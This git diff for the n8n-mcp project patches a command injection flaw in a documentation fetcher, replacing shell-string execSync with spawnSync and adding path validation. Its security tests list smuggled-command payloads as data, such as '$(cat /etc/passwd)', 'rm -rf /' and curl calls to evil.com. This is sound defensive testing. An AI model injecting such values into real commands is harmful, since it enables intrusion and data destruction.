diff --git a/package.json b/package.json index caa51a6..d5513fb 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "n8n-mcp", - "version": "2.18.6", + "version": "2.18.7", "description": "Integration between n8n workflow automation and Model Context Protocol (MCP)", "main": "dist/index.js", "bin": { diff --git a/package.runtime.json b/package.runtime.json index 990e0b3..5d0cb1d 100644 --- a/package.runtime.json +++ b/package.runtime.json @@ -1,6 +1,6 @@ { "name": "n8n-mcp-runtime", - "version": "2.18.1", + "version": "2.18.7", "description": "n8n MCP Server Runtime Dependencies Only", "private": true, "dependencies": { diff --git a/src/utils/enhanced-documentation-fetcher.ts b/src/utils/enhanced-documentation-fetcher.ts index 0de8fa0..68ad3f0 100644 --- a/src/utils/enhanced-documentation-fetcher.ts +++ b/src/utils/enhanced-documentation-fetcher.ts @@ -1,7 +1,7 @@ import { promises as fs } from 'fs'; import path from 'path'; import { logger } from './logger'; -import { execSync } from 'child_process'; +import { spawnSync } from 'child_process'; // Enhanced documentation structure with rich content export interface EnhancedNodeDocumentation { @@ -61,36 +61,136 @@ export interface DocumentationMetadata { export class EnhancedDocumentationFetcher { private docsPath: string; - private docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git'; + private readonly docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git'; private cloned = false; constructor(docsPath?: string) { - this.docsPath = docsPath || path.join(__dirname, '../../temp', 'n8n-docs'); + // SECURITY: Validate and sanitize docsPath to prevent command injection + // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2) + const defaultPath = path.join(__dirname, '../../temp', 'n8n-docs'); + + if (!docsPath) { + this.docsPath = defaultPath; + } else { + // SECURITY: Block directory traversal and malicious paths + const sanitized = this.sanitizePath(docsPath); + + if (!sanitized) { + logger.error('Invalid docsPath rejected in constructor', { docsPath }); + throw new Error('Invalid docsPath: path contains disallowed characters or patterns'); + } + + // SECURITY: Verify path is absolute and within allowed boundaries + const absolutePath = path.resolve(sanitized); + + // Block paths that could escape to sensitive directories + if (absolutePath.startsWith('/etc') || + absolutePath.startsWith('/sys') || + absolutePath.startsWith('/proc') || + absolutePath.startsWith('/var/log')) { + logger.error('docsPath points to system directory - blocked', { docsPath, absolutePath }); + throw new Error('Invalid docsPath: cannot use system directories'); + } + + this.docsPath = absolutePath; + logger.info('docsPath validated and set', { docsPath: this.docsPath }); + } + + // SECURITY: Validate repository URL is HTTPS + if (!this.docsRepoUrl.startsWith('https://')) { + logger.error('docsRepoUrl must use HTTPS protocol', { url: this.docsRepoUrl }); + throw new Error('Invalid repository URL: must use HTTPS protocol'); + } + } + + /** + * Sanitize path input to prevent command injection and directory traversal + * SECURITY: Part of fix for command injection vulnerability + */ + private sanitizePath(inputPath: string): string | null { + // SECURITY: Reject paths containing any shell metacharacters or control characters + // This prevents command injection even before attempting to sanitize + const dangerousChars = /[;&|`$(){}[\]<>'"\\#\n\r\t]/; + if (dangerousChars.test(inputPath)) { + logger.warn('Path contains shell metacharacters - rejected', { path: inputPath }); + return null; + } + + // Block directory traversal attempts + if (inputPath.includes('..') || inputPath.startsWith('.')) { + logger.warn('Path traversal attempt blocked', { path: inputPath }); + return null; + } + + return inputPath; } /** * Clone or update the n8n-docs repository + * SECURITY: Uses spawnSync with argument arrays to prevent command injection + * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2) */ async ensureDocsRepository(): Promise { try { const exists = await fs.access(this.docsPath).then(() => true).catch(() => false); - + if (!exists) { - logger.info('Cloning n8n-docs repository...'); - await fs.mkdir(path.dirname(this.docsPath), { recursive: true }); - execSync(`git clone --depth 1 ${this.docsRepoUrl} ${this.docsPath}`, { - stdio: 'pipe' + logger.info('Cloning n8n-docs repository...', { + url: this.docsRepoUrl, + path: this.docsPath }); + await fs.mkdir(path.dirname(this.docsPath), { recursive: true }); + + // SECURITY: Use spawnSync with argument array instead of string interpolation + // This prevents command injection even if docsPath or docsRepoUrl are compromised + const cloneResult = spawnSync('git', [ + 'clone', + '--depth', '1', + this.docsRepoUrl, + this.docsPath + ], { + stdio: 'pipe', + encoding: 'utf-8' + }); + + if (cloneResult.status !== 0) { + const error = cloneResult.stderr || cloneResult.error?.message || 'Unknown error'; + logger.error('Git clone failed', { + status: cloneResult.status, + stderr: error, + url: this.docsRepoUrl, + path: this.docsPath + }); + throw new Error(`Git clone failed: ${error}`); + } + logger.info('n8n-docs repository cloned successfully'); } else { - logger.info('Updating n8n-docs repository...'); - execSync('git pull --ff-only', { + logger.info('Updating n8n-docs repository...', { path: this.docsPath }); + + // SECURITY: Use spawnSync with argument array and cwd option + const pullResult = spawnSync('git', [ + 'pull', + '--ff-only' + ], { cwd: this.docsPath, - stdio: 'pipe' + stdio: 'pipe', + encoding: 'utf-8' }); + + if (pullResult.status !== 0) { + const error = pullResult.stderr || pullResult.error?.message || 'Unknown error'; + logger.error('Git pull failed', { + status: pullResult.status, + stderr: error, + cwd: this.docsPath + }); + throw new Error(`Git pull failed: ${error}`); + } + logger.info('n8n-docs repository updated'); } - + this.cloned = true; } catch (error) { logger.error('Failed to clone/update n8n-docs repository:', error); diff --git a/tests/integration/security/command-injection-prevention.test.ts b/tests/integration/security/command-injection-prevention.test.ts index d1627e0..2563671 100644 --- a/tests/integration/security/command-injection-prevention.test.ts +++ b/tests/integration/security/command-injection-prevention.test.ts @@ -163,4 +163,96 @@ describe('Command Injection Prevention', () => { } }); }); + + describe('Git Command Injection Prevention (Issue #265 Part 2)', () => { + it('should reject malicious paths in constructor with shell metacharacters', () => { + const maliciousPaths = [ + '/tmp/test; touch /tmp/PWNED #', + '/tmp/test && curl http://evil.com', + '/tmp/test | whoami', + '/tmp/test`whoami`', + '/tmp/test$(cat /etc/passwd)', + '/tmp/test\nrm -rf /', + '/tmp/test & rm -rf /', + '/tmp/test || curl evil.com', + ]; + + for (const maliciousPath of maliciousPaths) { + expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow( + /Invalid docsPath: path contains disallowed characters or patterns/ + ); + } + }); + + it('should reject paths pointing to sensitive system directories', () => { + const systemPaths = [ + '/etc/passwd', + '/sys/kernel', + '/proc/self', + '/var/log/auth.log', + ]; + + for (const systemPath of systemPaths) { + expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow( + /Invalid docsPath: cannot use system directories/ + ); + } + }); + + it('should reject directory traversal attempts in constructor', () => { + const traversalPaths = [ + '../../../etc/passwd', + '../../sensitive', + './relative/path', + '.hidden/path', + ]; + + for (const traversalPath of traversalPaths) { + expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow( + /Invalid docsPath: path contains disallowed characters or patterns/ + ); + } + }); + + it('should accept valid absolute paths in constructor', () => { + // These should not throw + expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow(); + expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow(); + expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow(); + }); + + it('should use default path when no path provided', () => { + // Should not throw with default path + expect(() => new EnhancedDocumentationFetcher()).not.toThrow(); + }); + + it('should reject paths with quote characters', () => { + const quotePaths = [ + '/tmp/test"malicious', + "/tmp/test'malicious", + '/tmp/test`command`', + ]; + + for (const quotePath of quotePaths) { + expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow( + /Invalid docsPath: path contains disallowed characters or patterns/ + ); + } + }); + + it('should reject paths with brackets and braces', () => { + const bracketPaths = [ + '/tmp/test[malicious]', + '/tmp/test{a,b}', + '/tmp/test', + '/tmp/test(subshell)', + ]; + + for (const bracketPath of bracketPaths) { + expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow( + /Invalid docsPath: path contains disallowed characters or patterns/ + ); + } + }); + }); });